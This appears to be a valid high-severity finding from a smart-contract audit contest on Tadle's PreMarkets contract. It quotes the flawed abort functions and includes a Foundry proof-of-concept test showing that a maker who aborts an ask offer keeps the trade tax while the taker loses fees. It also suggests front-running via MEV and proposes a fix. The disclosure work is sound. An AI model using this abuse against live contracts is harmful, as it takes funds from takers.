Tadle

Tadle
DeFiFoundry
27,750 USDC
View results
Submission Details
Severity: high
Valid

If the creator of an `Offer` decides to terminate the transaction, the `Taker` will be unfairly forced to suffer financial losses.

Summary

If the creator of an Offer decides to terminate the transaction, the Taker will be unfairly forced to suffer financial losses.

Vulnerability Details

The creator of an Ask.offer can call the PreMarktes::abortAskOffer() function to abort the transaction and reclaim all their collateral.

// PreMarktes::abortAskOffer()
function abortAskOffer(address _stock, address _offer) external {
// SNIP...
///@dev update refund amount for offer authority
uint256 makerRefundAmount;
if (transferAmount > totalDepositAmount) {
@> makerRefundAmount = transferAmount - totalDepositAmount;
} else {
@> makerRefundAmount = 0;
}
ITokenManager tokenManager = tadleFactory.getTokenManager();
tokenManager.addTokenBalance(
TokenBalanceType.MakerRefund,
_msgSender(),
makerInfo.tokenAddress,
@> makerRefundAmount
);
offerInfo.abortOfferStatus = AbortOfferStatus.Aborted;
offerInfo.offerStatus = OfferStatus.Settled;
emit AbortAskOffer(_offer, _msgSender());
}

However, the creator of Bid.Taker has paid platformFee and tradeTax fees when calling PreMarktes::createTaker(), and the relevant amount of tradeTax is directly updated to the creator address of Ask.offer in the call of PreMarktes::_updateTokenBalanceWhenCreateTaker(). Even if PreMarktes::abortBidTaker() is called, the relevant fees of platformFee and tradeTax will not be refunded. It will inevitably lead to losses for the creator of Bid.Taker.

// PreMarktes::createTaker()
function createTaker(address _offer, uint256 _points) external payable {
// SNIP...
uint256 depositAmount = _points.mulDiv(
offerInfo.amount,
offerInfo.points,
Math.Rounding.Ceil
);
@> uint256 platformFee = depositAmount.mulDiv(
platformFeeRate,
Constants.PLATFORM_FEE_DECIMAL_SCALER
);
@> uint256 tradeTax = depositAmount.mulDiv(
makerInfo.eachTradeTax,
Constants.EACH_TRADE_TAX_DECIMAL_SCALER
);
// SNIP...
@> _updateTokenBalanceWhenCreateTaker(
_offer,
tradeTax,
depositAmount,
offerInfo,
makerInfo,
tokenManager
);
//SNIP...
}
// PreMarktes::_updateTokenBalanceWhenCreateTaker()
function _updateTokenBalanceWhenCreateTaker(
address _offer,
uint256 _tradeTax,
uint256 _depositAmount,
OfferInfo storage offerInfo,
MakerInfo storage makerInfo,
ITokenManager tokenManager
) internal {
if (
_offer == makerInfo.originOffer ||
makerInfo.offerSettleType == OfferSettleType.Protected
) {
tokenManager.addTokenBalance(
@> TokenBalanceType.TaxIncome,
@> offerInfo.authority,
makerInfo.tokenAddress,
_tradeTax
);
} else {
tokenManager.addTokenBalance(
TokenBalanceType.TaxIncome,
makerInfo.authority,
makerInfo.tokenAddress,
_tradeTax
);
}
// SNIP...
}
// PreMarktes::abortBidTaker()
function abortBidTaker(address _stock, address _offer) external {
StockInfo storage stockInfo = stockInfoMap[_stock];
OfferInfo storage preOfferInfo = offerInfoMap[_offer];
if (stockInfo.authority != _msgSender()) {
revert Errors.Unauthorized();
}
if (stockInfo.preOffer != _offer) {
revert InvalidOfferAccount(stockInfo.preOffer, _offer);
}
if (stockInfo.stockStatus != StockStatus.Initialized) {
revert InvalidStockStatus(
StockStatus.Initialized,
stockInfo.stockStatus
);
}
if (preOfferInfo.abortOfferStatus != AbortOfferStatus.Aborted) {
revert InvalidAbortOfferStatus(
AbortOfferStatus.Aborted,
preOfferInfo.abortOfferStatus
);
}
uint256 depositAmount = stockInfo.points.mulDiv(
preOfferInfo.points,
preOfferInfo.amount,
Math.Rounding.Floor
);
uint256 transferAmount = OfferLibraries.getDepositAmount(
preOfferInfo.offerType,
preOfferInfo.collateralRate,
depositAmount,
false,
Math.Rounding.Floor
);
MakerInfo storage makerInfo = makerInfoMap[preOfferInfo.maker];
ITokenManager tokenManager = tadleFactory.getTokenManager();
tokenManager.addTokenBalance(
TokenBalanceType.MakerRefund,
_msgSender(),
makerInfo.tokenAddress,
transferAmount
);
stockInfo.stockStatus = StockStatus.Finished;
emit AbortBidTaker(_offer, _msgSender());
}

Poc

To demonstrate the issue, add the following test code to test/PreMarkets.t.sol and run it:

function test_if_abortAskOffer() public {
// Cache the balance of `mockUSDCToken` before the transaction
uint256 userStart_mockUSDCToken_balance = mockUSDCToken.balanceOf(user);
uint256 user2Start_mockUSDCToken_balance = mockUSDCToken.balanceOf(user2);
///////////////////////
// user createOffer //
///////////////////////
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Ask,
// OfferSettleType.Turbo
OfferSettleType.Protected
)
);
vm.stopPrank();
address stockAddr = GenerateAddress.generateStockAddress(0);
address offerAddr = GenerateAddress.generateOfferAddress(0);
///////////////////////
// user2 createTaker //
///////////////////////
vm.startPrank(user2);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(offerAddr, 1000);
vm.stopPrank();
// ////////////////////////
// // admin updateMarket //
// ////////////////////////
// vm.prank(user1);
// systemConfig.updateMarket(
// "Backpack",
// address(mockPointToken),
// 0.01 * 1e18,
// block.timestamp - 1,
// 3600
// );
////////////////////////
// user abortAskOffer //
////////////////////////
vm.prank(user);
preMarktes.abortAskOffer(stockAddr, offerAddr);
/////////////////////////
// user2 abortAskTaker //
/////////////////////////
vm.startPrank(user2);
address stock1Addr = GenerateAddress.generateStockAddress(1);
preMarktes.abortBidTaker(stock1Addr, offerAddr);
vm.stopPrank();
////////////////////////
// check user balance //
////////////////////////
// enum TokenBalanceType {
// TaxIncome,
// ReferralBonus,
// SalesRevenue,
// RemainingCash,
// MakerRefund,
// PointToken
// }
// user
console2.log("--------------- user balance ---------------");
balanceHelper(user);
// user2
console2.log("--------------- user2 balance ---------------");
balanceHelper(user2);
// Due to a problem with the authorization in the `TokenManager::_transfer()` method, it is manually executed here
capitalPool.approve(address(mockUSDCToken));
/////////////////////////////////////
// user and user2 withdraw balance //
/////////////////////////////////////
vm.startPrank(user);
tokenManager.withdraw(address(mockUSDCToken),TokenBalanceType.TaxIncome);
tokenManager.withdraw(address(mockUSDCToken),TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockUSDCToken),TokenBalanceType.MakerRefund);
vm.stopPrank();
vm.prank(user2);
tokenManager.withdraw(address(mockUSDCToken),TokenBalanceType.MakerRefund);
// Cache the balance of `mockUSDCToken` after the transaction
uint256 userEnd_mockUSDCToken_balance = mockUSDCToken.balanceOf(user);
uint256 user2End_mockUSDCToken_balance = mockUSDCToken.balanceOf(user2);
console2.log("The user's profit is:", userEnd_mockUSDCToken_balance - userStart_mockUSDCToken_balance);
console2.log("The user2's profit is:",int256(user2End_mockUSDCToken_balance) - int256(user2Start_mockUSDCToken_balance));
}
function balanceHelper(address _user) view public {
uint256 usermockUSDCTokenAmount_TaxIncome = tokenManager.userTokenBalanceMap(
address(_user),
address(mockUSDCToken),
TokenBalanceType.TaxIncome
);
console2.log("usermockUSDCTokenAmount_TaxIncome:",usermockUSDCTokenAmount_TaxIncome);
uint256 usermockUSDCTokenAmount_ReferralBonus = tokenManager.userTokenBalanceMap(
address(_user),
address(mockUSDCToken),
TokenBalanceType.ReferralBonus
);
console2.log("usermockUSDCTokenAmount_ReferralBonus:",usermockUSDCTokenAmount_ReferralBonus);
uint256 usermockUSDCTokenAmount_SalesRevenue = tokenManager.userTokenBalanceMap(
address(_user),
address(mockUSDCToken),
TokenBalanceType.SalesRevenue
);
console2.log("usermockUSDCTokenAmount_SalesRevenue:",usermockUSDCTokenAmount_SalesRevenue);
uint256 usermockUSDCTokenAmount_RemainingCash = tokenManager.userTokenBalanceMap(
address(_user),
address(mockUSDCToken),
TokenBalanceType.RemainingCash
);
console2.log("usermockUSDCTokenAmount_RemainingCash:",usermockUSDCTokenAmount_RemainingCash);
uint256 usermockUSDCTokenAmount_MakerRefund = tokenManager.userTokenBalanceMap(
address(_user),
address(mockUSDCToken),
TokenBalanceType.MakerRefund
);
console2.log("usermockUSDCTokenAmount_MakerRefund:",usermockUSDCTokenAmount_MakerRefund);
uint256 usermockUSDCTokenAmount_PointToken = tokenManager.userTokenBalanceMap(
address(_user),
address(mockUSDCToken),
TokenBalanceType.PointToken
);
console2.log("usermockUSDCTokenAmount_PointToken:",usermockUSDCTokenAmount_PointToken);
}

The output from the PoC reveals the following key points:

  1. The creator of Ask.offer(user) can call PreMarktes::abortAskOffer() at any time to terminate the transaction without any penalties. In fact, they may even profit due to the tradeTax.

  2. The creator of Bid.Taker(user2) is forced to call PreMarktes::abortBidTaker() to retrieve the remaining collateral, which incurs a loss equal to platformFee + tradeTax.

  3. A malicious Ask.offer creator can use MEV (Maximal Extractable Value) tactics to execute PreMarktes::abortAskOffer() before the administrator calls SystemConfig::updateMarket(), maximizing their tradeTax benefits.

  4. The Bid.Taker is completely passive in this transaction, and despite not initiating the termination, they end up bearing the cost of the transaction's termination.

[PASS] test_if_abortAskOffer() (gas: 1064023)
Logs:
@> platformFee in createTaker: 50000000000000
@> tradeTax in createTaker: 300000000000000
--------------- user balance ---------------
usermockUSDCTokenAmount_TaxIncome: 300000000000000
usermockUSDCTokenAmount_ReferralBonus: 0
usermockUSDCTokenAmount_SalesRevenue: 10000000000000000
usermockUSDCTokenAmount_RemainingCash: 0
usermockUSDCTokenAmount_MakerRefund: 2000000000000000
usermockUSDCTokenAmount_PointToken: 0
--------------- user2 balance ---------------
usermockUSDCTokenAmount_TaxIncome: 0
usermockUSDCTokenAmount_ReferralBonus: 0
usermockUSDCTokenAmount_SalesRevenue: 0
usermockUSDCTokenAmount_RemainingCash: 0
usermockUSDCTokenAmount_MakerRefund: 10000000000000000
usermockUSDCTokenAmount_PointToken: 0
@> The user's profit is: 300000000000000 # tradeTax
@> The user2's profit is: -350000000000000 # platformFee + tradeTax

Code Snippet

https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/PreMarkets.sol#L164-L284
https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/PreMarkets.sol#L536-L635
https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/PreMarkets.sol#L645-L697
https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/PreMarkets.sol#L906-L949

Impact

The offer creator holds a significant advantage in the entire transaction. Even if they are unable to preempt the transaction before the administrator calls SystemConfig::updateMarket(), the collateral rate (CreateOfferParams:collateralRate) is set by the creator. Given that the value in the current state needs to be slightly above 10000 (e.g., 10001), the creator is unlikely to suffer any losses. (Refer to the related issue: If the offer creator refuses to execute DeliveryPlace::settleAskMaker(), the Taker will lose all the tokens they paid.)

preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01 * 1e18,
@> 12000, // collateralRate
300,
OfferType.Bid,
OfferSettleType.Turbo
)
);

In contrast, the Taker bears all the losses caused by any issues with the offer.

Therefore, before engaging in a transaction, the Taker must assess whether the offer is reliable, whether the transaction will proceed smoothly, and whether they might suffer any losses as a result. This situation creates an odd and unfair burden on the Taker.

Ultimately, if Takers frequently suffer losses due to failed transactions, it will erode trust in the Tadle platform. More critically, if the Takers disappear, so too will Tadle.

Tools Used

Manual Review

Recommendations

To address this issue, modify the code such that when the creator of an Ask.offer wishes to terminate the transaction by calling PreMarktes::abortAskOffer(), the platform fee and trade tax paid by all Takers should be deducted from the Ask.offer creator’s collateral based on the order status. Additionally, when PreMarktes::abortBidTaker() is executed, the full amount paid by the Taker should be refunded, as the transaction termination is not their fault.

Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-immediate-withdrawal-allow-maker-steal-funds

Valid high severity, given orginal offer makers are not a trusted entity to enforce a settlement. The trade tax set by the maker should be returned back to the takers to avoid abuse of abortion of ask offers to steal trade tax from takers. Note for appeals period: See issue #528 for additional details

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.